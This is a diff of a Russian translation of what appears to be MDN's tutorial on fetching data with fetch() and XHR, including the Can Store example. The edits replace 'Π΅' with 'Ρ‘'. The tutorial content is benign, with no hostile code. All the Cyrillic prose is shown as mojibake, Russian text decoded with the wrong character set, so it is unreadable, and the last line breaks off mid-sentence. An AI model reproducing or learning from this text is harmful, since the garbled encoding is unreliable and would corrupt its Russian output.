-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>fetch()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ HTTP-ΠΎΡ‚Π²Π΅Ρ‚, любая функция, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ опрСдСляСтС Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>.then()</code>, прикованная ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ, Π±ΡƒΠ΄Π΅Ρ‚ автоматичСски ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ нравится - ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ:</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>fetch()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ HTTP-ΠΎΡ‚Π²Π΅Ρ‚, любая функция, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ опрСдСляСтС Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>.then()</code>, прикованная ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ, Π±ΡƒΠ΄Π΅Ρ‚ автоматичСски ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ нравится - ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ:</p>
<pre class="brush: js">fetch(url).then(function(dogBiscuits) {
dogBiscuits.text().then(function(text) {
@@ -258,15 +258,15 @@ myFetch.then(function(response) {
<h3 id="Какой_ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ_слСдуСт_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ">Какой ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ?</h3>
-<p>Π­Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π½Π°Π΄ ΠΊΠ°ΠΊΠΈΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅. XHR сущСствуСт ΡƒΠΆΠ΅ Π΄Π°Π²Π½ΠΎ ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π½ΡƒΡŽ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ. Fetch and Promises, с Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠΌ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ ΠΊ Π²Π΅Π±-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅, хотя ΠΎΠ½ΠΈ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Internet Explorer ΠΈ Safari (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания Fetch Π±Ρ‹Π»ΠΈ доступны Π² своСм ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ просмотр Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ).</p>
+<p>Π­Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π½Π°Π΄ ΠΊΠ°ΠΊΠΈΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅. XHR сущСствуСт ΡƒΠΆΠ΅ Π΄Π°Π²Π½ΠΎ ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π½ΡƒΡŽ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ. Fetch and Promises, с Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠΌ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ ΠΊ Π²Π΅Π±-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅, хотя ΠΎΠ½ΠΈ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Internet Explorer ΠΈ Safari (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания Fetch Π±Ρ‹Π»ΠΈ доступны Π² своём ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ просмотр Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ).</p>
<p>Если Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Ρ‚ΠΎΠ³Π΄Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ XHR. Если, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π°Π΄ Π±ΠΎΠ»Π΅Π΅ прогрСссивным ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ ΠΈ Π½Π΅ Ρ‚Π°ΠΊ обСспокоСны старыми Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ, Ρ‚ΠΎ Fetch ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΌ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ.</p>
-<p>Π’Π°ΠΌ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ - Fetch станСт Π±ΠΎΠ»Π΅Π΅ популярным, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Internet Explorer отказываСтся ΠΎΡ‚ использования (IE большС Π½Π΅ разрабатываСтся, Π² ΠΏΠΎΠ»ΡŒΠ·Ρƒ Π½ΠΎΠ²ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Microsoft Edge), Π½ΠΎ Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ XHR Π΅Ρ‰Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя.</p>
+<p>Π’Π°ΠΌ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ - Fetch станСт Π±ΠΎΠ»Π΅Π΅ популярным, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Internet Explorer отказываСтся ΠΎΡ‚ использования (IE большС Π½Π΅ разрабатываСтся, Π² ΠΏΠΎΠ»ΡŒΠ·Ρƒ Π½ΠΎΠ²ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Microsoft Edge), Π½ΠΎ Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ XHR Π΅Ρ‰Ρ‘ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя.</p>
<h2 id="Π‘ΠΎΠ»Π΅Π΅_слоТный_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">Π‘ΠΎΠ»Π΅Π΅ слоТный ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡŽ, ΠΌΡ‹ рассмотрим нСсколько Π±ΠΎΠ»Π΅Π΅ слоТный ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ интСрСсныС примСнСния Fetch. ΠœΡ‹ создали ΠΎΠ±Ρ€Π°Π·Π΅Ρ† сайта ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ The Can Store - это Π²Ρ‹ΠΌΡ‹ΡˆΠ»Π΅Π½Π½Ρ‹ΠΉ супСрмаркСт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΄Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ консСрвы. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">Π² прямом эфирС Π½Π° GitHub</a> ΠΈ <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/fetching-data/can-store">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходный ΠΊΠΎΠ΄</a>.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡŽ, ΠΌΡ‹ рассмотрим нСсколько Π±ΠΎΠ»Π΅Π΅ слоТный ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ интСрСсныС примСнСния Fetch. ΠœΡ‹ создали ΠΎΠ±Ρ€Π°Π·Π΅Ρ† сайта ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ The Can Store - это Π²Ρ‹ΠΌΡ‹ΡˆΠ»Π΅Π½Π½Ρ‹ΠΉ супСрмаркСт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΄Π°Ρ‘Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ консСрвы. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">Π² прямом эфирС Π½Π° GitHub</a> ΠΈ <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/fetching-data/can-store">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходный ΠΊΠΎΠ΄</a>.</p>
<p><img alt="A fake ecommerce site showing search options in the left hand column, and product search results in the right hand column." src="https://mdn.mozillademos.org/files/14779/can-store.png" style="display: block; margin: 0 auto;"></p>
@@ -289,7 +289,7 @@ myFetch.then(function(response) {
}
});</pre>
-<p>Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ находится Π² условном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ. Π’ этом случаС ΠΌΡ‹ провСряСм, Π±Ρ‹Π» Π»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ - свойство {{domxref("response.ok")}} содСрТит логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ <code>true</code>, Ссли ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ‹Π» Π² порядкС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/200">200 meaning "OK"</a>) ΠΈΠ»ΠΈ <code>false</code>, Ссли ΠΎΠ½ Π½Π΅ увСнчался успСхом.</p>
+<p>Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ находится Π² условном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ. Π’ этом случаС ΠΌΡ‹ провСряСм, Π±Ρ‹Π» Π»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ - свойство {{domxref("response.ok")}} содСрТит логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ <code>true</code>, Ссли ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ‹Π» Π² порядкС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/200">200 meaning "OK"</a>) ΠΈΠ»ΠΈ <code>false</code>, Ссли ΠΎΠ½ Π½Π΅ увСнчался успСхом.</p>
<p>Если ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ, ΠΌΡ‹ выполняСм Π²Ρ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ - Π½Π° этот Ρ€Π°Π· ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ {{domxref("Body.json", "json()")}}, Π° Π½Π΅ {{domxref("Body.text", "text()")}}, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ наш ΠΎΡ‚Π²Π΅Ρ‚ ΠΊΠ°ΠΊ структурированныС Π΄Π°Π½Π½Ρ‹Π΅ JSON, Π° Π½Π΅ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст.</p>
@@ -300,7 +300,7 @@ myFetch.then(function(response) {
<ol>
<li>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ локальной ΠΊΠΎΠΏΠΈΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² (Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΈ распаковка <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">the can-store ZIP file</a>)</li>
<li>ЗапуститС ΠΊΠΎΠ΄ Ρ‡Π΅Ρ€Π΅Π· Π²Π΅Π±-сСрвСр (ΠΊΠ°ΠΊ описано Π²Ρ‹ΡˆΠ΅, Π² {{anch("Serving your example from a server")}})</li>
- <li>Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½Π½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«product.jsonΒ» (Ρ‚.Π΅. ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ написан Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ)</li>
+ <li>Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½Π½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«product.jsonΒ» (Ρ‚.Π΅. ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ написан Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ)</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ индСксный Ρ„Π°ΠΉΠ» Π² свой Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Π΅Ρ€Π΅Π· <code>localhost:8000</code>) ΠΈ посмотритС Π² консоли Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ сообщСниС Π² строкС «Запрос сСти для ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ².json Π½Π΅ ΡƒΠ΄Π°Π»ΠΎΡΡŒ с ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ 404: Π€Π°ΠΉΠ» Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½Β»</li>
</ol>
@@ -319,7 +319,7 @@ myFetch.then(function(response) {
<p>Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΌ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ вмСсто использования {{domxref("Body.json", "json()")}} ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ {{domxref("Body.blob", "blob()")}} - Π² этом случаС ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ наш ΠΎΡ‚Π²Π΅Ρ‚ Π² Π²ΠΈΠ΄Π΅ Ρ„Π°ΠΉΠ»Π° изобраТСния, Π° Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ для этого - <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob">Blob</a> - этот Ρ‚Π΅Ρ€ΠΌΠΈΠ½ являСтся Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€ΠΎΠΉ ΠΎΡ‚Β« Binary Large Object Β»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π² основном ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой большиС Ρ„Π°ΠΉΠ»ΠΎΠ²Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ изобраТСния ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎΡ„Π°ΠΉΠ»Ρ‹.</p>
-<p>ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΌΡ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ наш blob, ΠΌΡ‹ создаСм URL-адрСс ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Π­Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Они Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ выглядит, открывая ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Can Store, Ctrl-/Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ ΠΏΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ ΠΈ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠΏΡ†ΠΈΡŽ Β«ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ изобраТСния» (которая ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²Ρ‹ ). URL-адрСс ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ адрСсной строки ΠΈ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
+<p>ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΌΡ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ наш blob, ΠΌΡ‹ создаём URL-адрСс ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Π­Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Они Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ выглядит, открывая ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Can Store, Ctrl-/Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ 